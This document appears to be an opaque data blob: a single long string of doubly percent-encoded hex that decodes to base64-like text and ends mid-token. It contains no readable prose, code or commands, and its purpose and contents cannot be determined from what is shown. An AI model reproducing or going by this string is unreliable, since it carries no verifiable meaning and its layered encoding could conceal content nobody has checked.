%37%31%25%37%36%25%33%31%25%36%39%25%36%35%25%34%39%25%37%34%25%36%62%25%33%35%25%37%32%25%36%63%25%37%31%25%35%36%25%37%30%25%33%32%25%33%30%25%37%33%25%34%32%25%36%36%25%37%32%25%33%39%25%37%34%25%34%65%25%36%65%25%37%61%25%37%37%25%32%62%25%35%39%25%33%37%25%33%38%25%32%66%25%36%66%25%36%63%25%33%34%25%36%33%25%34%32%25%37%61%25%35%37%25%36%38%25%34%66%25%33%31%25%34%31%25%36%65%25%33%37%25%33%32%25%35%32%25%35%36%25%34%32%25%35%37%25%36%62%25%34%34%25%37%32%25%34%36%25%36%37%25%37%32%25%34%34%25%36%34%25%33%39%25%35%35%25%33%32%25%33%33%25%34%63%25%37%33%25%33%39%25%37%34%25%34%65%25%36%34%25%36%31%25%34%62%25%36%66%25%35%38%25%35%35%25%35%32%25%34%64%25%33%31%25%34%39%25%33%32%25%33%36%25%35%32%25%37%38%25%34%34%25%36%33%25%35%61%25%33%33%25%36%64%25%35%61%25%34%63%25%37%61%25%32%66%25%36%36%25%34%31%25%34%65%25%37%37%25%36%65%25%34%39%25%36%38%25%36%65%25%36%63%25%35%35%25%34%33%25%32%62%25%35%38%25%36%38%25%34%66%25%37%33%25%35%39%25%35%31%25%36%37%25%34%61%25%35%38%25%33%34%25%34%63%25%35%31%25%37%39%25%35%35%25%34%65%25%32%62%25%37%39%25%36%66%25%35%34%25%34%32%25%36%35%25%35%34%25%32%66%25%34%34%25%34%66%25%34%35%25%35%36%25%33%34%25%36%31%25%37%30%25%37%38%25%36%63%25%35%36%25%34%39%25%37%36%25%37%36%25%34%33%25%34%37%25%36%35%25%35%38%25%36%62%25%34%65%25%37%35%25%34%35%25%36%35%25%34%31%25%36%37%25%35%32%25%35%61%25%34%39%25%34%61%25%34%35%25%35%30%25%37%32%25%36%62%25%36%62%25%35%36%25%35%61%25%37%32%25%34%66%25%35%34%25%37%36%25%35%32%25%37%32%25%36%37%25%35%34%25%36%66%25%34%33%25%35%33%25%36%36%25%35%36%25%34%61%25%33%37%25%34%66%25%35%39%25%34%37%25%37%33%25%37%61%25%37%30%25%35%31%25%36%62%25%33%39%25%34%61%25%37%33%25%33%30%25%35%32%25%36%34%25%34%31%25%37%36%25%35%34%25%34%32%25%36%63%25%33%32%25%36%34%25%34%34%25%34%38%25%34%31%25%35%31%25%35%38%25%32%66%25%36%32%25%34%61%25%34%31%25%34%36%25%37%36%25%36%33%25%37%33%25%34%33%25%37%30%25%37%33%25%36%66%25%34%62%25%35%37%25%34%31%25%35%31%25%34%39%25%37%32%25%34%66%25%36%36%25%33%34%25%34%36%25%34%65%25%36%66%25%36%38%25%35%61%25%33%36%25%37%39%25%37%31%25%36%39%25%33%30%25%34%62%25%35%32%25%32%62%25%34%35%25%36%39%25%37%38%25%36%63%25%33%32%25%33%34%25%33%30%25%36%65%25%34%61%25%35%31%25%37%61%25%37%36%25%35%33%25%35%34%25%34%63%25%34%31%25%37%37%25%37%32%25%33%37%25%36%36%25%34%31%25%35%37%25%35%32%25%35%61%25%37%37%25%34%64%25%36%62%25%36%31%25%35%35%25%36%61%25%35%61%25%36%37%25%36%37%25%33%33%25%37%35%25%33%33%25%37%36%25%36%62%25%33%35%25%34%66%25%33%33%25%36%33%25%33%32%25%33%37%25%34%32%25%36%63%25%36%62%25%36%39%25%36%63%25%37%39%25%35%30%25%34%35%25%36%31%25%36%63%25%34%31%25%37%32%25%33%36%25%36%37%25%34%37%25%33%31%25%36%62%25%34%38%25%37%31%25%33%33%25%34%31%25%35%30%25%34%66%25%32%62%25%33%32%25%33%32%25%33%35%25%32%62%25%36%62%25%37%35%25%37%37%25%37%35%25%36%63%25%33%36%25%36%32%25%36%39%25%34%31%25%33%36%25%33%30%25%36%34%25%35%35%25%33%32%25%37%35%25%37%39%25%35%39%25%32%62%25%35%32%25%36%32%25%33%31%25%33%38%25%36%66%25%37%30%25%35%35%25%35%31%25%36%36%25%32%62%25%34%36%25%37%35%25%36%61%25%34%34%25%36%38%25%34%35%25%35%31%25%33%36%25%37%30%25%34%39%25%34%63%25%33%38%25%34%35%25%37%32%25%34%34%25%37%38%25%35%32%25%33%30%25%34%38%25%33%37%25%37%31%25%35%35%25%34%34%25%34%38%25%36%38%25%36%63%25%36%39%25%33%36%25%34%61%25%35%31%25%36%66%25%35%30%25%33%30%25%35%38%25%36%32%25%34%35%25%34%32%25%36%65%25%37%30%25%36%61%25%35%34%25%36%62%25%33%32%25%36%62%25%33%35%25%34%66%25%34%37%25%34%38%25%34%63%25%37%39%25%37%33%25%36%32%25%37%39%25%35%36%25%35%32%25%36%36%25%37%34%25%36%32%25%34%36%25%36%33%25%34%33%25%33%30%25%36%33%25%34%34%25%34%36%25%35%34%25%37%32%25%35%34%25%36%39%25%34%31%25%36%64%25%36%66%25%37%30%25%35%36%25%36%64%25%37%35%25%36%31%25%34%62%25%36%66%25%36%61%25%33%33%25%33%36%25%36%61%25%36%64%25%33%30%25%34%37%25%33%36%25%33%31%25%36%63%25%35%32%25%36%37%25%33%36%25%35%61%25%34%34%25%37%32%25%37%36%25%36%64%25%33%36%25%35%37%25%37%33%25%35%35%25%37%38%25%37%30%25%33%39%25%37%38%25%34%62%25%32%66%25%36%39%25%36%32%25%34%31%25%33%35%25%37%30%25%36%38%25%33%34%25%34%62%25%36%31%25%35%31%25%35%36%25%33%37%25%34%36%25%33%38%25%33%32%25%35%39%25%37%31%25%35%33%25%35%36%25%34%33%25%35%34%25%34%36%25%36%64%25%36%65%25%35%36%25%37%32%25%36%62%25%33%34%25%36%32%25%34%65%25%36%63%25%37%32%25%35%32%25%37%31%25%34%64%25%36%32%25%35%32%25%36%32%25%36%38%25%35%34%25%34%61%25%34%64%25%34%34%25%35%34%25%34%32%25%36%61%25%34%34%25%36%66%25%34%38%25%35%39%25%35%36%25%35%30%25%37%31%25%35%33%25%32%66%25%37%31%25%37%32%25%37%38%25%33%33%25%34%66%25%36%39%25%34%34%25%34%36%25%34%66%25%34%31%25%36%37%25%32%62%25%36%39%25%35%38%25%34%36%25%34%62%25%35%33%25%34%35%25%34%66%25%34%32%25%36%37%25%34%37%25%36%32%25%34%39%25%37%30%25%35%34%25%33%35%25%36%34%25%36%37%25%35%35%25%35%34%25%35%31%25%33%35%25%37%34%25%34%31%25%36%35%25%34%33%25%36%62%25%35%39%25%37%31%25%37%37%25%36%35%25%36%37%25%35%30%25%35%34%25%35%34%25%36%62%25%35%38%25%36%32%25%36%62%25%37%36%25%36%61%25%33%38%25%34%32%25%33%30%25%34%37%25%34%33%25%35%33%25%33%31%25%34%31%25%33%37%25%37%39%25%34%31%25%33%34%25%37%34%25%36%66%25%35%37%25%35%37%25%35%39%25%37%33%25%35%33%25%34%36%25%36%33%25%36%38%25%34%64%25%36%31%25%36%32%25%33%39%25%34%66%25%34%64%25%36%65%25%34%32%25%35%39%25%34%31%25%36%62%25%34%61%25%35%34%25%35%36%25%37%35%25%37%36%25%37%34%25%34%34%25%36%35%25%36%66%25%33%32%25%36%63%25%36%31%25%34%37%25%33%36%25%32%62%25%33%36%25%33%32%25%36%34%25%34%64%25%35%37%25%33%30%25%36%62%25%36%36%25%34%62%25%35%38%25%36%39%25%34%37%25%37%31%25%33%39%25%34%37%25%33%33%25%36%63%25%36%33%25%34%33%25%36%35%25%34%34%25%37%61%25%33%35%25%33%30%25%33%39%25%33%35%25%33%32%25%34%32%25%35%61%25%36%66%25%35%31%25%36%65%25%35%31%25%36%62%25%34%62%25%35%34%25%36%39%25%37%37%25%35%36%25%36%65%25%36%32%25%34%38%25%34%39%25%34%36%25%33%35%25%35%38%25%34%36%25%35%32%25%34%66%25%35%31%25%33%30%25%37%33%25%33%33%25%35%31%25%36%66%25%34%37%25%37%37%25%36%61%25%35%39%25%36%31%25%35%31%25%36%65%25%33%35%25%34%36%25%34%61%25%34%64%25%33%38%25%37%39%25%36%62%25%36%64%25%37%38%25%35%32%25%33%38%25%37%37%25%34%38%25%36%34%25%33%36%25%34%38%25%36%37%25%34%61%25%34%38%25%37%35%25%36%36%25%36%34%25%34%64%25%36%61%25%36%31%25%37%32%25%34%66%25%35%35%25%35%36%25%36%33%25%37%61%25%36%34%25%33%35%25%35%39%25%37%30%25%37%31%25%35%38%25%34%33%25%33%31%25%35%39%25%36%32%25%37%34%25%33%38%25%37%35%25%36%37%25%35%61%25%35%32%25%32%66%25%36%31%25%36%33%25%36%65%25%35%61%25%37%34%25%35%38%25%34%32%25%33%34%25%34%34%25%35%39%25%36%34%25%37%30%25%34%35%25%37%39%25%36%65%25%36%34%25%34%34%25%37%30%25%34%66%25%34%64%25%37%30%25%34%38%25%34%61%25%37%31%25%35%36%25%36%62%25%36%66%25%36%36%25%36%35%25%35%35%25%37%61%25%32%62%25%33%32%25%34%31%25%33%34%25%32%66%25%36%62%25%36%38%25%36%66%25%35%37%25%35%39%25%33%31%25%36%38%25%36%32%25%34%61%25%37%36%25%36%63%25%37%30%25%35%34%25%37%61%25%35%37%25%35%34%25%35%61%25%34%31%25%33%35%25%33%37%25%37%31%25%35%34%25%36%63%25%36%65%25%32%66%25%36%62%25%34%38%25%37%61%25%36%63%25%32%66%25%37%39%25%35%31%25%34%39%25%35%37%25%34%37%25%34%35%25%36%35%25%35%32%25%36%62%25%34%37%25%34%31%25%33%39%25%36%39%25%37%32%25%37%36%25%37%36%25%35%32%25%34%32%25%37%32%25%37%30%25%34%39%25%34%38%25%35%36%25%34%34%25%33%31%25%35%36%25%36%39%25%32%66%25%37%34%25%35%33%25%36%35%25%36%32%25%37%31%25%34%36%25%32%66%25%37%61%25%36%61%25%36%31%25%32%66%25%36%39%25%36%61%25%36%36%25%36%66%25%35%35%25%36%66%25%34%39%25%37%34%25%36%31%25%33%32%25%33%37%25%35%35%25%36%34%25%35%31%25%34%63%25%34%37%25%34%32%25%34%61%25%37%37%25%37%32%25%36%62%25%36%39%25%34%63%25%35%38%25%35%32%25%33%32%25%36%63%25%36%65%25%37%32%25%36%39%25%33%34%25%34%37%25%37%36%25%36%65%25%36%64%25%34%32%25%33%30%25%37%34%25%36%31%25%34%31%25%36%62%25%34%37%25%34%61%25%36%65%25%34%63%25%35%38%25%37%35%25%33%33%25%34%63%25%37%38%25%35%30%25%33%30%25%37%37%25%36%37%25%34%63%25%33%39%25%34%37%25%33%36%25%35%35%25%34%39%25%37%37%25%37%34%25%37%32%25%34%66%25%33%31%25%33%39%25%36%38%25%34%65%25%36%35%25%35%30%25%35%61%25%34%64%25%33%33%25%37%30%25%36%66%25%35%61%25%34%38%25%37%30%25%37%35%25%35%38%25%34%63%25%35%31%25%36%37%25%33%36%25%32%66%25%33%31%25%34%64%25%33%32%25%34%33%25%37%31%25%36%32%25%33%31%25%34%38%25%37%32%25%36%38%25%33%32%25%35%33%25%35%36%25%34%63%25%33%32%25%36%37%25%36%39%25%34%65%25%35%61%25%34%38%25%35%39%25%36%36%25%34%39%25%37%34%25%36%61%25%35%36%25%36%35%25%33%33%25%35%36%25%36%39%25%36%35%25%34%34%25%36%63%25%34%34%25%33%35%25%33%39%25%33%36%25%34%66%25%34%32%25%34%31%25%37%61%25%37%37%25%37%38%25%34%34%25%35%36%25%36%66%25%36%61%25%36%61%25%36%35%25%36%34%25%33%36%25%36%37%25%35%61%25%34%66%25%37%32%25%37%30%25%34%62%25%34%31%25%33%35%25%33%31%25%34%64%25%34%38%25%36%39%25%35%37%25%34%31%25%36%64%25%34%64%25%37%39%25%36%64%25%36%64%25%33%30%25%34%34%25%36%31%25%36%39%25%33%31%25%33%37%25%34%63%25%35%35%25%35%31%25%34%64%25%36%36%25%35%34%25%34%39%25%36%37%25%32%62%25%36%62%25%35%34%25%34%32%25%35%39%25%37%37%25%33%36%25%34%64%25%34%32%25%36%35%25%33%38%25%35%37%25%35%36%25%34%33%25%32%62%25%34%37%25%35%61%25%36%38%25%37%61%25%35%36%25%36%64%25%34%35%25%32%62%25%36%62%25%34%33%25%37%39%25%34%39%25%35%37%25%37%36%25%37%38%25%35%34%25%37%30%25%35%36%25%36%62%25%34%37%25%37%30%25%34%33%25%33%32%25%35%39%25%33%35%25%33%31%25%34%36%25%37%39%25%35%35%25%34%32%25%36%62%25%35%31%25%34%33%25%33%33%25%37%33%25%37%31%25%36%39%25%35%35%25%36%64%25%33%38%25%36%61%25%37%32%25%33%35%25%33%32%25%34%65%25%32%66%25%36%64%25%34%34%25%34%35%25%33%32%25%36%64%25%34%65%25%34%65%25%37%31%25%37%34%25%37%31%25%36%66%25%36%33%25%35%37%25%35%39%25%36%32%25%34%37%25%35%39%25%34%33%25%34%64%25%35%32%25%35%39%25%36%34%25%33%34%25%37%61%25%36%63%25%37%31%25%35%37%25%33%33%25%36%33%25%37%30%25%36%35%25%37%34%25%33%31%25%36%37%25%34%33%25%36%61%25%36%32%25%33%32%25%35%35%25%36%34%25%37%32%25%35%32%25%36%63%25%34%37%25%36%34%25%36%33%25%33%31%25%33%35%25%35%35%25%32%62%25%36%37%25%36%37%25%36%64%25%34%33%25%36%39%25%33%34%25%36%62%25%36%38%25%34%61%25%36%63%25%34%34%25%37%38%25%35%30%25%35%33%25%34%36%25%34%61%25%37%37%25%37%31%25%34%39%25%33%39%25%36%38%25%36%38%25%34%33%25%37%31%25%36%38%25%36%64%25%37%33%25%33%30%25%33%37%25%35%38%25%35%38%25%36%61%25%37%33%25%35%39%25%36%37%25%36%39%25%34%66%25%35%39%25%35%39%25%36%35%25%37%30%25%35%38%25%36%36%25%34%32%25%34%65%25%35%30%25%34%31%25%34%31%25%37%39%25%33%33%25%37%36%25%37%37%25%35%30%25%34%36%25%34%39%25%34%66%25%34%33%25%35%36%25%35%30%25%36%33%25%37%30%25%36%38%25%35%38%25%36%65%25%34%64%25%34%63%25%37%32%25%37%61%25%36%36%25%34%36%25%34%63%25%34%35%25%34%33%25%36%38%25%35%35%25%36%38%25%36%63%25%34%65%25%35%31%25%37%38%25%33%35%25%33%32%25%35%61%25%36%64%25%35%35%25%34%33%25%35%33%25%34%34%25%33%36%25%32%66%25%36%36%25%37%38%25%37%35%25%34%34%25%37%33%25%34%65%25%35%34%25%37%38%25%35%34%25%37%33%25%36%34%25%36%65%25%33%33%25%36%63%25%33%35%25%36%61%25%37%38%25%34%65%25%36%32%25%35%38%25%36%39%25%33%35%25%36%35%25%32%66%25%37%39%25%35%35%25%36%33%25%36%38%25%37%32%25%36%62%25%37%37%25%37%61%25%36%31%25%36%33%25%36%66%25%32%66%25%34%39%25%36%61%25%35%61%25%37%32%25%36%34%25%34%39%25%36%64%25%36%33%25%36%38%25%33%36%25%36%34%25%33%30%25%34%38%25%36%63%25%33%32%25%37%39%25%34%37%25%35%38%25%34%65%25%37%39%25%34%34%25%35%37%25%34%34%25%36%66%25%37%37%25%35%30%25%35%30%25%35%35%25%36%37%25%33%34%25%37%37%25%35%36%25%34%34%25%33%35%25%35%61%25%35%31%25%35%35%25%35%38%25%36%38%25%33%36%25%35%32%25%37%39%25%35%34%25%34%64%25%37%37%25%35%38%25%33%39%25%34%34%25%34%62%25%34%64%25%35%37%25%33%38%25%35%61%25%36%62%25%32%62%25%34%34%25%33%32%25%36%32%25%36%33%25%37%32%25%34%35%25%33%36%25%33%31%25%36%65%25%34%66%25%34%66%25%35%38%25%34%38%25%34%61%25%35%37%25%34%65%25%33%30%25%35%30%25%34%36%25%34%36%25%37%37%25%35%30%25%33%30%25%35%34%25%35%32%25%36%63%25%34%66%25%36%31%25%34%33%25%35%32%25%34%64%25%33%32%25%35%31%25%36%31%25%35%61%25%37%30%25%32%62%25%34%65%25%34%37%25%33%31%25%34%38%25%33%30%25%34%36%25%33%30%25%34%39%25%33%32%25%37%30%25%34%63%25%33%31%25%36%64%25%37%61%25%35%31%25%34%64%25%34%38%25%34%39%25%32%62%25%32%66%25%36%61%25%37%38%25%36%34%25%36%35%25%34%65%25%35%38%25%35%33%25%36%65%25%34%37%25%33%39%25%34%32%25%36%64%25%34%32%25%37%31%25%37%32%25%36%34%25%34%63%25%35%31%25%36%38%25%36%63%25%37%36%25%36%62%25%35%37%25%37%38%25%36%38%25%36%35%25%36%36%25%34%38%25%33%36%25%34%64%25%37%30%25%34%39%25%35%61%25%36%39%25%35%31%25%36%61%25%36%66%25%34%65%25%37%39%25%36%65%25%34%66%25%34%64%25%34%66%25%37%35%25%35%30%25%35%34%25%34%37%25%34%63%25%35%37%25%35%35%25%33%39%25%35%30%25%36%61%25%37%36%25%34%38%25%34%61%25%34%34%25%36%38%25%35%30%25%35%35%25%34%37%25%37%31%25%36%66%25%35%31%25%36%38%25%37%38%25%37%61%25%33%35%25%35%38%25%37%34%25%35%32%25%33%31%25%32%62%25%35%32%25%33%34%25%33%33%25%34%35%25%36%37%25%36%63%25%34%65%25%33%36%25%37%61%25%37%35%25%36%64%25%36%65%25%34%62%25%37%30%25%34%33%25%33%33%25%36%35%25%33%39%25%34%38%25%36%32%25%35%36%25%37%37%25%35%38%25%37%61%25%35%34%25%36%35%25%36%35%25%37%31%25%33%32%25%36%35%25%35%35%25%35%31%25%37%32%25%33%39%25%33%32%25%33%34%25%36%31%25%36%61%25%34%61%25%37%31%25%37%31%25%33%34%25%34%62%25%34%31%25%32%62%25%36%64%25%37%33%25%36%34%25%33%35%25%33%39%25%36%64%25%32%66%25%37%35%25%36%34%25%34%31%25%34%35%25%37%35%25%37%33%25%37%30%25%35%33%25%34%38%25%36%66%25%32%66%25%35%35%25%33%35%25%35%34%25%36%35%25%35%61%25%34%39%25%35%30%25%33%31%25%34%35%25%36%34%25%34%66%25%34%65%25%34%66%25%36%31%25%35%32%25%34%33%25%34%61%25%36%66%25%35%33%25%34%61%25%34%37%25%35%34%25%34%35%25%33%38%25%35%31%25%34%38%25%34%38%25%36%36%25%35%37%25%36%39%25%34%37%25%34%32%25%37%33%25%37%31%25%34%34%25%37%33%25%36%39%25%35%34%25%32%66%25%35%61%25%35%37%25%33%35%25%32%66%25%36%39%25%37%38%25%35%34%25%34%31%25%34%63%25%37%61%25%32%66%25%34%31%25%35%32%25%37%30%25%35%33%25%35%33%25%34%31%25%34%33%25%34%61%25%37%61%25%37%33%25%36%63%25%37%33%25%36%36%25%35%33%25%36%37%25%37%33%25%37%35%25%34%61%25%33%30%25%36%39%25%34%35%25%32%66%25%34%61%25%34%61%25%36%32%25%34%32%25%37%33%25%37%36%25%37%38%25%33%30%25%33%33%25%37%39%25%35%61%25%37%32%25%34%62%25%37%34%25%34%33%25%37%35%25%34%33%25%34%33%25%34%39%25%35%31%25%33%32%25%34%66%25%34%64%25%36%65%25%36%63%25%33%38%25%37%30%25%35%32%25%33%33%25%36%66%25%37%30%25%35%36%25%37%34%25%37%32%25%36%62%25%33%30%25%35%32%25%37%36%25%33%34%25%34%64%25%34%33%25%33%31%25%34%66%25%36%31%25%37%33%25%34%33%25%35%37%25%34%37%25%37%36%25%33%35%25%34%37%25%36%35%25%36%37%25%36%38%25%34%65%25%34%65%25%37%32%25%37%31%25%34%35%25%34%62%25%34%66%25%33%39%25%34%61%25%33%33%25%33%31%25%37%39%25%37%33%25%33%34%25%35%61%25%33%38%25%33%36%25%36%34%25%33%31%25%35%31%25%36%35%25%33%38%25%36%61%25%34%61%25%34%39%25%37%35%25%34%62%25%36%63%25%33%36%25%34%62%25%35%36%25%35%37%25%36%37%25%36%39%25%34%32%25%33%30%25%34%31%25%34%36%25%36%61%25%35%30%25%36%65%25%36%66%25%35%38%25%33%30%25%37%36%25%37%36%25%36%38%25%35%35%25%35%32%25%35%32%25%33%31%25%34%32%25%37%34%25%35%31%25%34%39%25%35%30%25%33%32%25%36%31%25%35%30%25%34%37%25%35%30%25%34%35%25%35%33%25%33%35%25%36%61%25%33%30%25%33%38%25%35%38%25%34%61%25%35%31%25%37%61%25%36%66%25%34%33%25%36%61%25%34%31%25%33%34%25%34%33%25%34%37%25%37%34%25%33%37%25%36%35%25%35%36%25%36%64%25%32%66%25%36%38%25%34%34%25%32%62%25%35%33%25%32%66%25%34%36%25%33%30%25%37%38%25%34%61%25%34%64%25%33%38%25%35%31%25%35%37%25%36%31%25%36%31%25%33%35%25%37%37%25%33%39%25%35%33%25%36%64%25%32%66%25%35%32%25%37%38%25%37%34%25%37%38%25%34%61%25%34%32%25%34%65%25%35%38%25%32%66%25%36%64%25%33%38%25%36%34%25%36%66%25%36%38%25%36%31%25%35%37%25%36%34%25%35%38%25%35%39%25%35%35%25%35%31%25%36%65%25%34%36%25%33%35%25%34%39%25%35%38%25%37%31%25%33%32%25%35%34%25%33%37%25%35%30%25%37%35%25%33%33%25%34%35%25%37%30%25%33%34%25%34%37%25%34%39%25%34%36%25%34%65%25%33%33%25%35%38%25%34%39%25%34%37%25%33%35%25%35%38%25%35%31%25%35%33%25%37%38%25%36%35%25%37%37%25%36%62%25%34%34%25%33%31%25%36%34%25%36%37%25%37%38%25%33%30%25%34%39%25%37%34%25%37%61%25%35%32%25%34%39%25%36%36%25%37%32%25%34%62%25%37%30%25%36%63%25%35%30%25%34%64%25%37%39%25%32%66%25%35%30%25%37%32%25%35%39%25%37%35%25%33%31%25%36%36%25%37%38%25%35%36%25%35%61%25%37%34%25%36%33%25%37%38%25%36%33%25%37%39%25%37%33%25%33%34%25%36%39%25%35%38%25%37%38%25%37%33%25%37%34%25%34%34%25%36%31%25%37%61%25%34%65%25%35%31%25%33%39%25%34%33%25%34%31%25%36%31%25%37%31%25%36%39%25%34%33%25%33%37%25%37%35%25%34%62%25%34%36%25%37%36%25%34%37%25%36%65%25%35%38%25%37%61%25%33%32%25%35%38%25%34%32%25%37%32%25%37%30%25%34%62%25%36%38%25%35%32%25%34%66%25%33%33%25%34%66%25%36%38%25%37%33%25%33%32%25%36%34%25%36%39%25%37%32%25%33%36%25%36%33%25%37%38%25%35%38%25%34%61%25%36%38%25%34%64%25%35%61%25%34%62%25%34%34%25%34%61%25%33%33%25%36%39%25%36%64%25%34%65%25%33%33%25%36%35%25%37%34%25%34%64%25%36%36%25%35%30%25%36%62%25%34%61%25%37%31%25%34%38%25%37%37%25%35%35%25%33%32%25%36%64%25%36%66%25%36%65%25%36%65%25%35%31%25%35%37%25%36%31%25%33%39%25%37%33%25%34%31%25%34%32%25%35%31%25%34%32%25%36%34%25%34%66%25%36%31%25%34%37%25%36%63%25%37%34%25%35%32%25%34%37%25%33%38%25%34%35%25%34%65%25%34%63%25%37%33%25%34%63%25%36%36%25%35%34%25%37%33%25%35%32%25%36%39%25%34%33%25%36%35%25%34%64%25%36%31%25%34%34%25%35%35%25%34%38%25%34%64%25%37%38%25%34%38%25%34%32%25%36%33%25%37%39%25%33%33%25%34%66%25%37%35%25%34%65%25%34%39%25%35%36%25%35%35%25%37%35%25%33%38%25%36%38%25%36%34%25%33%37%25%34%34%25%36%61%25%36%65%25%36%64%25%34%33%25%34%66%25%34%38%25%34%33%25%34%39%25%32%66%25%33%33%25%34%64%25%36%38%25%35%31%25%36%64%25%37%33%25%37%33%25%34%39%25%35%34%25%37%32%25%33%36%25%34%33%25%33%30%25%36%64%25%34%65%25%32%66%25%34%35%25%34%33%25%34%38%25%33%30%25%34%31%25%34%35%25%34%63%25%37%32%25%35%34%25%34%35%25%34%64%25%36%38%25%34%64%25%37%32%25%33%36%25%36%31%25%35%31%25%36%34%25%37%30%25%34%31%25%36%65%25%33%32%25%35%35%25%37%38%25%34%35%25%35%37%25%37%30%25%36%32%25%37%34%25%35%35%25%36%36%25%37%30%25%36%37%25%34%39%25%35%37%25%33%33%25%36%62%25%36%34%25%33%38%25%36%34%25%36%61%25%35%38%25%33%35%25%37%31%25%36%64%25%32%62%25%34%64%25%34%66%25%34%35%25%35%39%25%34%32%25%34%66%25%33%39%25%36%62%25%34%34%25%35%31%25%33%37%25%36%31%25%33%31%25%36%32%25%33%30%25%36%37%25%35%35%25%34%39%25%34%35%25%36%34%25%35%34%25%37%33%25%36%35%25%37%34%25%37%36%25%35%32%25%35%36%25%33%35%25%35%37%25%35%37%25%36%35%25%37%61%25%32%66%25%36%62%25%37%33%25%35%36%25%36%65%25%35%36%25%37%39%25%36%62%25%36%38%25%36%33%25%37%34%25%36%39%25%32%62%25%37%38%25%36%37%25%35%39%25%37%33%25%37%35%25%33%35%25%35%30%25%33%35%25%34%65%25%37%30%25%36%61%25%34%34%25%35%61%25%36%63%25%36%35%25%36%38%25%32%66%25%36%34%25%36%66%25%36%35%25%34%64%25%33%31%25%32%66%25%34%62%25%34%37%25%35%36%25%35%31%25%35%37%25%37%36%25%33%35%25%37%32%25%36%61%25%34%66%25%36%34%25%35%30%25%34%38%25%37%38%25%36%34%25%35%34%25%36%31%25%36%35%25%32%62%25%35%61%25%36%34%25%35%32%25%33%32%25%34%65%25%36%63%25%36%33%25%36%33%25%33%33%25%34%38%25%36%62%25%36%63%25%34%65%25%35%32%25%37%37%25%33%34%25%36%64%25%36%66%25%33%34%25%37%37%25%35%31%25%35%30%25%35%38%25%36%32%25%33%36%25%37%61%25%36%35%25%33%39%25%34%32%25%34%33%25%34%37%25%36%34%25%33%35%25%37%34%25%34%66%25%36%37%25%35%61%25%36%32%25%35%31%25%36%64%25%34%31%25%36%63%25%37%34%25%35%61%25%35%38%25%36%38%25%34%39%25%36%38%25%36%64%25%35%33%25%35%32%25%36%66%25%36%37%25%36%33%25%36%66%25%33%33%25%33%37%25%37%35%25%37%37%25%36%66%25%37%38%25%33%38%25%37%33%25%36%62%25%36%61%25%33%34%25%32%62%25%33%36%25%34%34%25%33%33%25%37%39%25%36%64%25%34%65%25%34%65%25%34%38%25%36%64%25%35%61%25%37%30%25%36%39%25%34%35%25%35%36%25%35%39%25%34%39%25%34%61%25%37%34%25%34%34%25%34%32%25%37%30%25%35%37%25%35%30%25%34%37%25%37%33%25%34%31%25%37%33%25%36%62%25%36%31%25%37%39%25%33%30%25%35%31%25%36%36%25%34%35%25%33%31%25%35%34%25%37%36%25%36%38%25%36%62%25%37%37%25%34%62%25%37%30%25%32%66%25%33%37%25%36%37%25%33%30%25%34%36%25%34%66%25%36%31%25%37%35%25%34%38%25%34%35%25%34%34%25%35%39%25%37%38%25%36%36%25%34%38%25%36%62%25%34%31%25%34%32%25%34%39%25%37%36%25%37%31%25%37%34%25%34%66%25%34%37%25%35%39%25%37%31%25%34%38%25%34%63%25%35%30%25%36%64%25%37%61%25%34%33%25%34%63%25%33%36%25%35%32%25%36%37%25%33%38%25%36%61%25%35%36%25%35%39%25%37%34%25%36%65%25%36%31%25%34%32%25%34%32%25%35%61%25%33%35%25%35%32%25%34%35%25%36%63%25%34%36%25%37%36%25%37%33%25%36%32%25%37%31%25%36%61%25%35%31%25%34%33%25%37%33%25%33%39%25%37%34%25%36%39%25%34%39%25%37%35%25%36%34%25%35%30%25%34%34%25%35%61%25%33%33%25%37%36%25%33%31%25%34%37%25%35%35%25%34%32%25%34%31%25%37%39%25%34%38%25%35%61%25%35%61%25%35%36%25%36%63%25%34%64%25%34%64%25%37%31%25%34%35%25%35%36%25%35%33%25%34%39%25%34%38%25%35%33%25%33%37%25%34%35%25%37%34%25%34%39%25%34%64%25%34%38%25%36%33%25%34%62%25%36%63%25%34%65%25%36%36%25%35%35%25%36%65%25%33%39%25%34%36%25%36%63%25%34%38%25%34%64%25%35%31%25%36%31%25%34%39%25%36%62%25%33%35%25%33%31%25%37%31%25%33%30%25%37%61%25%36%63%25%34%36%25%36%35%25%35%38%25%35%38%25%35%31%25%33%34%25%34%66%25%36%33%25%34%36%25%34%35%25%33%36%25%36%66%25%36%32%25%36%33%25%37%38%25%35%32%25%37%32%25%33%30%25%35%33%25%34%31%25%36%62%25%35%32%25%35%35%25%35%35%25%34%38%25%37%34%25%33%35%25%33%36%25%35%38%25%35%31%25%37%32%25%34%37%25%36%65%25%35%36%25%34%63%25%36%61%25%37%30%25%36%62%25%35%61%25%35%31%25%34%64%25%37%30%25%35%61%25%35%61%25%35%34%25%36%63%25%33%36%25%36%37%25%33%32%25%33%32%25%35%36%25%35%32%25%35%37%25%35%36%25%36%39%25%34%62%25%34%38%25%33%35%25%35%30%25%35%35%25%34%64%25%35%39%25%36%32%25%36%62%25%34%31%25%34%38%25%34%31%25%36%34%25%36%64%25%34%34%25%36%32%25%37%61%25%33%36%25%35%35%25%33%32%25%33%36%25%35%38%25%36%36%25%35%37%25%34%31%25%34%32%25%34%31%25%35%31%25%34%31%25%37%38%25%32%62%25%36%34%25%34%38%25%36%63%25%34%32%25%33%38%25%37%31%25%35%39%25%37%61%25%34%37%25%33%37%25%34%32%25%34%32%25%35%37%25%35%35%25%36%37%25%36%37%25%34%65%25%37%31%25%34%64%25%36%34%25%33%38%25%34%36%25%35%32%25%34%33%25%37%30%25%36%35%25%36%36%25%33%32%25%37%39%25%34%37%25%33%32%25%37%38%25%34%63%25%34%66%25%34%38%25%33%30%25%33%35%25%34%61%25%36%39%25%34%38%25%34%66%25%34%62%25%34%64%25%33%36%25%35%31%25%37%35%25%34%33%25%33%36%25%37%36%25%36%33%25%34%63%25%36%39%25%36%39%25%35%36%25%33%31%25%33%30%25%37%38%25%37%61%25%37%32%25%36%38%25%33%38%25%34%61%25%36%62%25%34%65%25%34%33%25%34%33%25%35%34%25%34%39%25%36%39%25%37%30%25%35%39%25%37%61%25%35%35%25%37%61%25%35%38%25%37%39%25%35%37%25%35%35%25%33%39%25%37%35%25%37%31%25%36%32%25%34%31%25%35%30%25%36%61%25%33%38%25%36%38%25%36%64%25%34%38%25%33%31%25%33%37%25%34%33%25%36%34%25%36%65%25%32%66%25%37%33%25%32%66%25%34%33%25%36%62%25%37%30%25%37%37%25%37%34%25%37%34%25%35%38%25%34%37%25%32%62%25%33%31%25%35%38%25%34%35%25%34%39%25%36%31%25%34%35%25%36%33%25%33%39%25%33%36%25%36%64%25